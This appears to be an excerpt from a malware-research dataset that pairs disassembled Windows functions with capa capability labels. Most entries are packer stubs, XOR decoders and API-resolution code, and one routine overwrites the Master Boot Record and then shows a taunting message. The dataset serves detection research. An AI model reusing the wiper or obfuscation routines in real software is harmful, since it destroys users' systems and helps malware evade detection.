joyce8/EMBER2024-capa huggingface dataset:
Function at 0x416066
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x416103
push ebx
push esi
call fcn.0041602f
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00414d21
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x4160b0
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x416102
push edi
push eax
call fcn.00411a67
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x4160d0
call fcn.0040e9ab
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x416101
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00414d21
add esp, 0x20
test eax, eax
jne 0x4160ef
push edi
call fcn.0040e9ab
jmp 0x4160f7
push ebx
call fcn.0040e9ab
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret

Function at 0x418730
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040e6c0
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x41879f
cmp esi, dword [ebp - 4]
je 0x41879a
cmp dword [ebp + 0xc], 0
je 0x41879a
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x418777
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00418282
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x4187a1
xor eax, eax
inc eax
jmp 0x4187a1
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x418806
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x429014]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push ebx
mov ebx, dword [ebp + 0x10]
push esi
mov esi, dword [ebp + 8]
push edi
mov dword [ebp - 0x18], eax
call fcn.0040e6c0
add eax, 0x50
lea edi, [ebp - 0x10]
mov dword [ebp - 0x14], eax
xor eax, eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
call fcn.0040e6c0
lea ecx, [ebp - 0x10]
xor edx, edx
mov dword [eax + 0x34c], ecx
lea ecx, [esi + 0x80]
mov eax, dword [ebp - 0x14]
mov dword [eax], esi
lea edi, [eax + 4]
mov dword [edi], ecx
test ecx, ecx
je 0x41887d
cmp word [ecx], dx
je 0x41887d
mov eax, dword [0x41fad4]
push edi
dec eax
push eax
push 0x41f9c0
call fcn.004187a5
mov eax, dword [ebp - 0x14]
add esp, 0xc
xor edx, edx
mov dword [ebp - 0x10], edx
mov eax, dword [eax]
test eax, eax
je 0x4188f0
cmp word [eax], dx
je 0x4188f0
mov eax, dword [edi]
test eax, eax
je 0x4188a1
cmp word [eax], dx
je 0x4188a1
lea eax, [ebp - 0x10]
push eax
call fcn.00418188
jmp 0x4188aa
lea eax, [ebp - 0x10]
push eax
call fcn.00418223
cmp dword [ebp - 0x10], 0
pop ecx
jne 0x41891a
mov eax, dword [0x41f9bc]
push dword [ebp - 0x14]
dec eax
push eax
push 0x41f6b0
call fcn.004187a5
add esp, 0xc
test al, al
je 0x41891a
mov eax, dword [edi]
xor edi, edi
test eax, eax
je 0x4188e5
cmp word [eax], di
je 0x4188e5
lea eax, [ebp - 0x10]
push eax
call fcn.00418188
pop ecx
jmp 0x41891c
lea eax, [ebp - 0x10]
push eax
call fcn.00418223
jmp 0x4188e2
mov eax, dword [edi]
test eax, eax
je 0x418907
cmp word [eax], dx
je 0x418907
lea eax, [ebp - 0x10]
push eax
call fcn.0041813d
pop ecx
jmp 0x41891a
mov dword [ebp - 0x10], 0x104
call dword [sym.imp.KERNEL32.dll_GetUserDefaultLCID]
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
xor edi, edi
cmp dword [ebp - 0x10], 0
je 0x4189e5
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x100]
neg esi
sbb esi, esi
and esi, eax
push esi
call fcn.0041862a
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x4189e5
movzx ecx, si
push ecx
call dword [sym.imp.KERNEL32.dll_IsValidCodePage]
test eax, eax
je 0x4189e5
push 1
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_IsValidLocale]
test eax, eax
je 0x4189e5
mov eax, dword [ebp - 0x18]
test eax, eax
je 0x418972
mov dword [eax], esi
mov eax, dword [ebp - 0x14]
push edi
push 0x55
add eax, 0x250
push eax
push dword [ebp - 0xc]
call fcn.0040f07c
test ebx, ebx
je 0x4189e0
push edi
push 0x55
lea eax, [ebx + 0x120]
push eax
push dword [ebp - 0xc]
call fcn.0040f07c
push 0x40
push ebx
push 0x1001
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4189e5
push 0x40
lea eax, [ebx + 0x80]
push eax
push 0x1002
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x4189e5
push 0xa
push 0x10
lea ecx, [ebx + 0x100]
push ecx
push esi
call fcn.0041a397
add esp, 0x10
xor eax, eax
inc eax
jmp 0x4189e7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004046a8
leave
ret
Function at 0x419d30
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x410015
lea edi, [esi - 0xf015]
push edi
or ebp, 0xffffffff
jmp 0x419d52
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x419d59
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x419d48
mov eax, 1
add ebx, ebx
jne 0x419d6b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x419d60
jne 0x419d7c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419d60
xor ecx, ecx
sub eax, 3
jb 0x419d90
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x419e02
mov ebp, eax
add ebx, ebx
jne 0x419d9b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x419da8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x419dcc
inc ecx
add ebx, ebx
jne 0x419db8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x419dad
jne 0x419dc9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x419dad
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x419dec
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x419ddd
jmp 0x419d4e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x419dec
add edi, ecx
jmp 0x419d4e
pop esi
mov edi, esi
mov ecx, 0x2b3
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x419e0a
cmp byte [edi], 5
jne 0x419e0a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x419e0f
lea edi, [esi + 0x17000]
mov eax, dword [edi]
or eax, eax
je 0x419e87
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1908c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x419e3c
mov ecx, edi
jns 0x419e6b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19090]
or eax, eax
je 0x419e81
mov dword [ebx], eax
add ebx, 4
jmp 0x419e59
call dword [esi + 0x190a0]
mov ebp, dword [esi + 0x19094]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x19f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x419ebb
sub esp, 0xffffff80
jmp 0x404c20

Function at 0x414ddf
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], esi
add ebx, 1
add edi, 4
or ebx, ecx
cmp edi, edx
jne fcn.00414ddf
ret
Function at 0x10437058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x104371a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1043707e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1043706a
add dl, dl
jne 0x10437089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x104370dc
xor eax, eax
add dl, dl
jne 0x10437096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1043717d
add dl, dl
jne 0x104370a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104370b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104370bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104370c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x104370d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10437075
mov eax, 1
add dl, dl
jne 0x104370ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x104370f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x104370e1
sub eax, ebx
mov ebx, 1
jne 0x10437128
mov ecx, 1
add dl, dl
jne 0x1043710e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10437119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10437105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10437075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1043713f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1043714a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10437136
cmp eax, 0x7d00
jae 0x1043716d
cmp eax, 0x500
jb 0x10437168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10437075
cmp eax, 0x7f
ja 0x10437170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10437075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1043719e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10437075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x401220
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
sub esi, 0x84
rcr edi, 0xf3
and edi, 0xe9
imul eax
dec edi
or edx, 0xfd
and edx, 0x94
neg eax
not ebx
rcl eax, 0x65
mov esi, 0xec
bswap edi
imul edi
dec edx
mov edi, 0x38
and esi, 0xc6
imul edx
sub esi, 0x1d
mov edi, 0x15
rcr eax, 0xab
or esi, 0xf4
neg ebx
rcr edi, 0x60
or esi, 0x84
neg ebx
not ebx
bswap edi
neg esi
ror edi, 0x3d
bswap esi
mov ebx, 0x2a
rcl edi, 7
add edx, 0x1a
sub eax, 0x5f
rol ebx, 0x48
neg edx
ror edi, 0xef
imul ebx
dec ebx
bswap ebx
dec edi
add eax, 0x9b
inc edx
not eax
inc eax
not edx
rol eax, 0x5d
sbb eax, 0xe9
mov edx, 0x9c
inc eax
xor ecx, ecx
xor edi, edi
not ebx
rcl eax, 0xba
neg ebx
inc esi
not eax
sbb eax, 0xad
inc ebx
or edi, 0xa7
rol edx, 0x34
rcr edx, 0x41
and edi, 0xb4
inc esi
imul edx
not ebx
mov eax, 0x23
not esi
imul edx
sub eax, 0xe6
imul esi
sbb edx, 0x30
imul eax
and edx, 0xc3
or esi, 0xc1
dec eax
sbb eax, 0x58
add eax, 0xf5
ror esi, 0x64
ror edx, 0xd0
rcl edx, 0x6a
not edi
sub eax, 0xf3
bswap esi
imul ebx
dec edi
imul ebx
not eax
sbb esi, 0x55
dec edi
add edx, 0xc3
imul ebx
or esi, 0xf2
dec ebx
inc eax
rol ebx, 0xcf
mov eax, 0x50
rcl esi, 0xd0
add esi, 0x29
rcr ebx, 0xf3
imul edx
add edi, 0x44
mov ecx, dword [ebp + 0xc]
add eax, 0x90
bswap ebx
bswap edx
bswap eax
not edx
add edi, 0xd5
mov esi, 0xd2
bswap edi
mov esi, 0x29
mov edx, 0x76
neg esi
or edi, 0xf9
bswap esi
bswap ebx
rcr ebx, 7
sbb eax, 0xfe
sbb eax, 0x21
and eax, 0x8b
sbb esi, 0xb3
and eax, 0x45
and edx, 0x54
sbb edx, 5
add edx, 0xe6
sub edx, 0xcb
rol esi, 0x1a
rcl ebx, 0x4a
rcr esi, 0xa8
sub ebx, 0xf1
ror edx, 0x84
and edx, 0xfe
imul eax
neg ebx
ror ebx, 0x78
add esi, 0x8a
rcl eax, 0x7d
not edx
and ebx, 0x86
imul esi
neg edi
dec esi
inc eax
dec edx
dec edx
add edi, 0xb3
sub esi, 0x5e
rcr esi, 0xb3
sub edx, 0x97
or ebx, 0x58
sub eax, 0x7c
not esi
mov edi, dword [ebp + 8]
mov esi, eax
mov ebx, eax
mov ebx, ebx
not byte [edi]
mov esi, ebx
xor ebx, ebx
xor ebx, esi
xor eax, eax
mov eax, ebx
mov eax, esi
xor esi, esi
mov eax, esi
mov ebx, esi
add byte [edi], 0x87
xor esi, eax
mov eax, esi
xor esi, ebx
xor esi, ebx
mov eax, eax
mov eax, eax
mov esi, esi
mov eax, ebx
mov ebx, esi
sub byte [edi], 0x54
xor ebx, esi
mov ebx, eax
xor eax, esi
mov esi, esi
mov ebx, esi
xor eax, ebx
xor esi, ebx
xor ebx, ebx
xor eax, esi
imul byte [edi]
inc edi
loop 0x401411
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x404fb5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x447200]
jne 0x404fbf
repz ret
jmp fcn.00407350
Function at 0x405625
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.004043d5
and dword [ebp - 4], 0
cmp dword [0x448390], 0
mov ebx, eax
jne 0x4056d6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x405787
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x405787
push eax
call fcn.00404363
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x448390], eax
call esi
push eax
call fcn.00404363
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x448394], eax
call esi
push eax
call fcn.00404363
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x448398], eax
call esi
push eax
call fcn.00404363
pop ecx
mov dword [0x4483a0], eax
test eax, eax
je 0x4056d6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.00404363
pop ecx
mov dword [0x44839c], eax
mov eax, dword [0x44839c]
cmp eax, ebx
je 0x40572e
cmp dword [0x4483a0], ebx
je 0x40572e
push eax
call fcn.004043de
push dword [0x4483a0]
mov esi, eax
call fcn.004043de
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40572e
test edi, edi
je 0x40572e
call esi
test eax, eax
je 0x405725
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x405725
test byte [ebp - 0xc], 1
jne 0x40572e
or dword [ebp + 0x10], 0x200000
jmp 0x405767
mov eax, dword [0x448394]
cmp eax, ebx
je 0x405767
push eax
call fcn.004043de
pop ecx
test eax, eax
je 0x405767
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x405767
mov eax, dword [0x448398]
cmp eax, ebx
je 0x405767
push eax
call fcn.004043de
pop ecx
test eax, eax
je 0x405767
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x448390]
call fcn.004043de
pop ecx
test eax, eax
je 0x405787
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x405789
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0
push 3
push 0
push 3
push 0x10000000
push 0x402108
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
mov esi, eax
lea eax, [ebp - 8]
push eax
push 0x200
push 0x4021b8
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x40
push str.LOL_
push str.Your_Master_Boot_Record_MBR__has_been_overwritten__nEnjoy_
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00401070
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4018a0
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4018df
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4018df
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4018df
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4018df
cmp dword [ecx + 0x74], 0xe
jbe 0x4018df
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x16a4120
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.GVD1
lea edi, [esi - 0x1270000]
push edi
or ebp, 0xffffffff
jmp 0x16a4142
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x16a4149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
mov al, byte [edi]
jb 0x16a4138
mov eax, 1
add ebx, ebx
jne 0x16a415d
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x16a416e
jne 0x16a417e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x16a417e
dec eax
add ebx, ebx
jne 0x16a417a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x16a4152
xor ecx, ecx
sub eax, 3
jb 0x16a4196
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x16a420a
sar eax, 1
mov ebp, eax
jmp 0x16a41a1
add ebx, ebx
jne 0x16a41a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x16a41ae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x16a41d2
inc ecx
add ebx, ebx
jne 0x16a41be
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x16a41b3
jne 0x16a41cf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x16a41b3
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
mov al, byte [edi + ecx]
jbe 0x16a41f4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x16a41e6
jmp 0x16a413e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x16a41f4
add edi, ecx
jmp 0x16a413e
pop esi
mov edi, esi
mov ecx, 0x346a
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x16a4212
cmp byte [edi], 0x16
jne 0x16a4212
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x16a4217
lea edi, [esi + 0x12a1000]
mov eax, dword [edi]
or eax, eax
je 0x16a4286
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x12a57f8]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x12a58e8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x16a4244
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x12a58ec]
or eax, eax
je 0x16a4280
mov dword [ebx], eax
add ebx, 4
jmp 0x16a4261
call dword [esi + 0x12a58f0]
popal
jmp 0x46b748

Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
nop
nop
nop
pop eax
nop
add eax, 0x403daa
sub eax, 0x403d50
nop
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
jl 0x430030
nop
nop
nop
nop
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp loc.00401219
Function at 0x458a5b
Capabilities:
Write file on windows

Disassembly:
push 0x18c
mov eax, 0x4693cf
call fcn.0045f3fe
mov esi, dword [ebp + 8]
mov eax, dword [esi + 0x14]
xor ebx, ebx
push 2
mov dword [ebp - 0x178], ecx
pop edi
cmp eax, ebx
jne 0x458b3b
push dword [0x47dc2c]
lea ecx, [ebp - 0x34]
call fcn.004132cd
mov dword [ebp - 4], ebx
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x198]
push eax
call fcn.004556fe
mov byte [ebp - 4], 1
push eax
mov ecx, esi
call fcn.00411d93
mov byte [ebp - 4], bl
push ebx
push 1
lea ecx, [ebp - 0x198]
call fcn.00411dad
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
push ebx
push 1
call fcn.00411dad
cmp dword [esi + 0x14], ebx
je 0x458e8f
lea ecx, [ebp - 0x50]
call fcn.00411d68
mov dword [ebp - 4], 3
push dword [ebp + 0xc]
mov ecx, dword [ebp - 0x178]
lea eax, [ebp - 0x50]
push eax
call fcn.00457ab5
test al, al
je 0x458e80
cmp dword [ebp - 0x38], 8
mov eax, dword [ebp - 0x4c]
jae 0x458b0e
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x170]
call fcn.004516ec
mov byte [ebp - 4], 4
push dword [ebp - 0x170]
lea ecx, [ebp - 0x6c]
call fcn.004132cd
mov byte [ebp - 4], 5
cmp dword [esi + 0x18], 8
jb 0x458b81
mov esi, dword [esi + 4]
jmp 0x458b84
cmp dword [esi + 0x18], 8
jb 0x458b46
mov eax, dword [esi + 4]
jmp 0x458b49
lea eax, [esi + 4]
push ebx
push eax
call fcn.0043f683
pop ecx
pop ecx
test eax, eax
je 0x458ad0
push esi
lea eax, [ebp - 0x198]
push eax
call fcn.00455a34
mov dword [ebp - 4], edi
push eax
mov ecx, esi
call fcn.00411d93
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x198]
jmp 0x458ac8
add esi, 4
push ebx
push 0x80
push edi
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x458e53
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
lea eax, [ebp - 0x17c]
push eax
push 6
lea eax, [ebp - 0x18]
push eax
push edi
mov dword [ebp - 0x17c], ebx
mov byte [ebp - 0x18], 0xff
mov byte [ebp - 0x17], 0xfe
mov byte [ebp - 0x16], 0xd
mov byte [ebp - 0x15], bl
mov byte [ebp - 0x14], 0xa
mov byte [ebp - 0x13], bl
call esi
cmp dword [ebp - 0x54], 8
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x174], ebx
jae 0x458be9
lea eax, [ebp - 0x68]
push ebx
lea ecx, [ebp - 0x174]
push ecx
mov ecx, dword [ebp - 0x58]
add ecx, ecx
push ecx
push eax
push edi
call esi
test eax, eax
Function at 0x4035a0
Capabilities:
Encrypt data using salsa20 or chacha
Resolve function by parsing pe exports

Disassembly:
mov ecx, dword [0x776294]
mov ecx, dword fs:[ecx]
mov ecx, dword [ecx]
cmp esp, dword [ecx + 8]
jbe 0x403770
mov eax, dword [esp + 8]
mov dword [eax], 0x61707865
mov dword [eax + 4], 0x61707865
mov dword [eax + 8], 0x61707865
mov dword [eax + 0xc], 0x61707865
mov dword [eax + 0x10], 0x3320646e
mov dword [eax + 0x14], 0x3320646e
mov dword [eax + 0x18], 0x3320646e
mov dword [eax + 0x1c], 0x3320646e
mov dword [eax + 0x20], 0x79622d32
mov dword [eax + 0x24], 0x79622d32
mov dword [eax + 0x28], 0x79622d32
mov dword [eax + 0x2c], 0x79622d32
mov dword [eax + 0x30], 0x6b206574
mov dword [eax + 0x34], 0x6b206574
mov dword [eax + 0x38], 0x6b206574
mov dword [eax + 0x3c], 0x6b206574
mov ecx, dword [esp + 4]
mov edx, dword [ecx]
mov dword [eax + 0x40], edx
mov dword [eax + 0x44], edx
mov dword [eax + 0x48], edx
mov dword [eax + 0x4c], edx
mov edx, dword [ecx + 4]
mov dword [eax + 0x50], edx
mov dword [eax + 0x54], edx
mov dword [eax + 0x58], edx
mov dword [eax + 0x5c], edx
mov edx, dword [ecx + 8]
mov dword [eax + 0x60], edx
mov dword [eax + 0x64], edx
mov dword [eax + 0x68], edx
mov dword [eax + 0x6c], edx
mov edx, dword [ecx + 0xc]
mov dword [eax + 0x70], edx
mov dword [eax + 0x74], edx
mov dword [eax + 0x78], edx
mov dword [eax + 0x7c], edx
mov edx, dword [ecx + 0x10]
mov dword [eax + 0x80], edx
mov dword [eax + 0x84], edx
mov dword [eax + 0x88], edx
mov dword [eax + 0x8c], edx
mov edx, dword [ecx + 0x14]
mov dword [eax + 0x90], edx
mov dword [eax + 0x94], edx
mov dword [eax + 0x98], edx
mov dword [eax + 0x9c], edx
mov edx, dword [ecx + 0x18]
mov dword [eax + 0xa0], edx
mov dword [eax + 0xa4], edx
mov dword [eax + 0xa8], edx
mov dword [eax + 0xac], edx
mov ecx, dword [ecx + 0x1c]
mov dword [eax + 0xb0], ecx
mov dword [eax + 0xb4], ecx
mov dword [eax + 0xb8], ecx
mov dword [eax + 0xbc], ecx
mov ecx, dword [esp + 0xc]
mov dword [eax + 0xc0], ecx
lea edx, [ecx + 1]
mov dword [eax + 0xc4], edx
lea edx, [ecx + 2]
mov dword [eax + 0xc8], edx
add ecx, 3
mov dword [eax + 0xcc], ecx
mov dword [eax + 0xd0], 0
mov dword [eax + 0xd4], 0
mov dword [eax + 0xd8], 0
mov dword [eax + 0xdc], 0
mov dword [eax + 0xe0], 0
mov dword [eax + 0xe4], 0
mov dword [eax + 0xe8], 0
mov dword [eax + 0xec], 0
mov dword [eax + 0xf0], 0
mov dword [eax + 0xf4], 0
mov dword [eax + 0xf8], 0
mov dword [eax + 0xfc], 0
ret
call sym.runtime.morestack_noctxt
jmp sym.internal_chacha8rand.setup